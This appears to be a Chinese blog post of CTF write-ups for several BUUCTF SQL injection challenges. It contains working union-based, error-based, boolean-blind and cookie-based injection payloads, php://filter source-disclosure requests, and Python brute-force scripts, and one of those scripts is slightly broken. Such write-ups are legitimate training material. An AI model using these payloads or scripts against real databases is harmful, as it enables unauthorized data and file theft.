初步判断是二次注入,且注入点在广告名(即ID中)。

尝试万能密码,发现存在waf。

尝试fuzz了一下,但是因为广告发布次数存在上限,所以fuzz效果不佳。

但是大概还是知道or被过滤了,所以order by 语句,information_schema不能使用了。

(还有,感觉BUUCTF的容器用fuzz不太稳定,开一个进程也经常返回404,感觉打比赛就没有这样的风险。)

发现空格被正则,使用/**/绕过,剩下的就比较简单,爆列(22列,就尼玛离谱)其中2、3列回显。

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆version():

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆库名:

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

来自官方对mysql.innodb_tables_stats的解释:

https://mariadb.com/kb/en/mysqlinnodb_table_stats/

参考博客:

https://www.v0n.top/2019/11/15/%E5%AF%B9%E4%B8%A4%E9%81%93CTF%E9%A2%98%E7%9B%AE%E7%9A%84%E8%A7%A3%E6%9E%90/

在mysql5.6以上的版本中,会在系统库MYSQL库中存在两张与innodb相关的表innodb_index_stats和innodb_table_stats。 其中innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称,也就是和information_schema.schemata差不多。 innodb_table_stats存储的是innodb引擎的库名和表名,也就是和information_schema.tables差不多。

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

可惜用这种方法只能爆表名,不能爆列。

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

子查询拿flag。

[CISCN2019 华北赛区 Day2 Web1]Hack World

当id=1和id=2的时候回显不同,利用回显不同求得字符串。

简单的O(n²)的脚本:

import requests

url = 'http://cd60c539-5dc1-493b-b763-998b7e419f8b.node3.buuoj.cn/'
result = ''

for x in range(50):
    for j in range(32, 127):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (x, j)
        data = {
            "id": payload
        }
        response = requests.post(url, data=data)
        if 'Hello, glzjin wants a girlfriend.' in response.text:
            result += chr(int(j))
            print(result)
            break

利用归并法的O(nlogn)脚本(源于网络):

import requests

url = 'http://cd60c539-5dc1-493b-b763-998b7e419f8b.node3.buuoj.cn/'
result = ''


for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id": payload
        }
        response = requests.post(url, data=data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

看到题目就很容易猜应该是二次注入。

在姓名、电话、地址三栏输入三个’,发现在查询、修改、删除订单中都找不到该订单,二次注入石锤。

查看源码发现存在文件包含,把文件包拉下来:

/?file=php://filter/read=convert.base64-encode/resource=index.php
/?file=php://filter/read=convert.base64-encode/resource=search.php
/?file=php://filter/read=convert.base64-encode/resource=change.php
/?file=php://filter/read=convert.base64-encode/resource=delete.php

审计代码,发现在关键查询处的代码,只对用户名和电话号码进行了严格的审计,忽略了对地址的审计。

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

其中的’old_address’=’”.$row[‘address’].”用了一开始的地址,导致恶意拼接。

将一下代码写入地址,爆库名:

1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#

爆表名:

1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#

后面就爆不出了,看了wp,发现只要读取文件就可以了。

最后读文件出了

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

[BSidesCF 2019]Sequel

尝试万能密码提示只能使用字母或数字。

有一点恶心的地方是注册都没有,只能看着登录框干瞪眼。

后来看了wp,发现是要爆破,是我太菜了,两个框也得爆破。

最后报出来应该是账号密码都为guest。

登录之后显示信息。

发现有三个都是no node for guest,感觉需要提权。

于是检查Cookie,找到了一串奇怪的Cookie:

解码后找到漏洞:

最后发现是Cookie注入,利用盲注Cookie爆破密码。

脚本自己没有写出来(参考链接)。

import requests
import base64
import string
import sys

out = ""
while True:
    for letter in string.printable:
        tmp = out + letter
        payload = r'{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(
            tmp + '%')
        payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        r = requests.get('http://9c61f34f-32c8-4eae-a49a-b9fa29a54546.node3.buuoj.cn/sequels',
                         cookies={"1337_AUTH": payload})
        if "Movie" in r.text:
            out = tmp
            sys.stdout.write(letter)
            sys.stdout.flush()
            break

[GYCTF2020]Ezsqli

过滤了information,表名靠 schema_table_statistics_with_buffer 注

import requests

if __name__ == "__main__":
    url = "http://53707f57-a533-4f9f-9627-6535095886c9.node4.buuoj.cn:81/index.php"
    i = 0
    result = ""
    while True:
        i = i + 1
        head = 32
        tail = 127
        while head < tail:
            mid = (head + tail) >> 1
            # payload = {'id': f'if(ascii(substr(database(),{i},1))>{mid},1,2)'}
            # payload = {'id': f'if(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{i},1))>{mid},1,2)'}

            res = requests.post(url=url, data=payload)
            if 'Nu1L' in res.text:
                head = mid + 1
            else:
                tail = mid

        if head != 32:
            result += chr(head)
        else:
            break
        print(result)

利用ascii偏移出flag,这里用了脚本,值得注意的是这里用了sleep,避免请求太多被buu过滤了。当然这个脚本还有很多可以完善的地方。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇